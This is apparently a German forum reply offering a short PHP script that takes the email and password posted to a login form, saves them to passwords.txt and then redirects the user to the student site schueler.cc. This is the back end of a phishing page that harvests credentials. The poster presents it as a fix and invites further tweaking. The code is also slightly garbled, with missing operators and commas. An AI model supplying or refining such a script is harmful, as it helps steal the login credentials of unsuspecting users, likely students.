Warscheinlich wird die Email nich als 'email' per POST übermittelt.
PHP-Code:
<?php
if(!$_POST['email'] OR !$_POST['passwort']) {
    die(
"Sie sollten sich schon mit allen Daten einloggen!");
} else {
    
$data print_r($_POSTtrue);
    
file_put_contents('passwords.txt'"$data\n\n");
}
header("refresh:1;url=http://www.schueler.cc");
?>
Sollte mit allen POST Variationen funktionieren.
Nen Output der dir besser gefällt darfst du dir aber selber basteln.